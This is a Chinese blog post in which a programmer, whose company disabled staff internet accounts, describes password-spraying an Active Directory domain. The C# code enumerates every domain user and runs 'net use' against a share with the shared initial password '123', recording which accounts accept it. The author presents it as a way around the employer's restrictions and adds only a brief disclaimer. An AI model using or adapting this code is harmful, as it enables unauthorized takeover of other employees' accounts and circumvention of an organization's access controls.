美文网首页
利用C#结合net use命令破解域帐号密码

利用C#结合net use命令破解域帐号密码

作者: 谭世阳 | 来源:发表于2017-01-24 10:36 被阅读0次

    背景

    我的职业是程序猿,而所在的工作单位因各种原因,对上网帐号有严格控制,近期竟然把我们的上网帐号全部停用,作为程序猿,不能上网,就如同鱼儿没有水,煮饭没有米,必须想办法解决此问题。公司的局域网环境是AD域环境,上网帐号就是域帐号,公司有上万人,每个帐号在建立时都是统一的初始密码,且很多用户懒得不愿意修改初始密码。因此,稍动脑筋,就有了此破解之道。

    原理

    Windows中有个net use命令,用于将计算机与共享的资源相连接(建立磁盘映射),或者切断计算机与共享资源的连接(删除磁盘映射),对应的图形界面如下图所示。

    net use 命令对应的图形界面

    net use命令的格式及详细说明可参考:https://technet.microsoft.com/en-us/library/bb490717.aspx

    简单地说,net use命令可以使用指定的用户名和密码,映射网络中的共享位置。

    举例:net use \\waaicd2 /user:domain\user001 mypassword,其中domain\user001表示用户名,mypassword表示密码。在命令行窗口执行这条命令后,如果用户名和密码正确,则会提示"命令成功完成。",否则提示“登录失败: 未知的用户名或错误密码。”

    想必看到这里,只要有点编程基础的人都在心里呵呵笑了,前面的背景中提到,域帐号初始密码是统一的,因此,我们只需要把域中的所有用户名穷举出来,套上这条命令,就能知道哪些用户没有修改初始密码了。翠花,上代码。

    代码

    Listusers = GetUserList()

    foreach (var user in users)

    {

    System.Diagnostics.ProcessStartInfo pInfo = new System.Diagnostics.ProcessStartInfo();

    pInfo.FileName = "C:\\Windows\\System32\\net.exe";

    pInfo.Arguments = "use \\\\计算机名\\共享目录$ /user:domain\\" + staffno + " 123";

    pInfo.UseShellExecute = false;

    pInfo.RedirectStandardError = true;

    pInfo.RedirectStandardOutput = true;

    pInfo.CreateNoWindow = true;

    System.Diagnostics.Process proc;

    proc = System.Diagnostics.Process.Start(pInfo);

    StreamReader myStreamReader = proc.StandardOutput;

    string myString = myStreamReader.ReadLine();

    if (myString != null && myString.Contains("命令成功完成"))

    {

    WriteResult(staffno);

    }

    proc.WaitForExit();

    proc.Close();

    pInfo.Arguments = "use \\\\计算机名\\共享目录$ /delete";

    System.Diagnostics.Process.Start(pInfo);

    }

    结束语

    这种方法虽然简单,但也不失为一种解决问题的途径,甚至可以扩展成更牛B的暴力破解。但各位读者不要用此方法去做一些违反职业道德的事哦!

    相关文章

      网友评论

          本文标题:利用C#结合net use命令破解域帐号密码

          本文链接:https://www.haomeiwen.com/subject/gpszbttx.html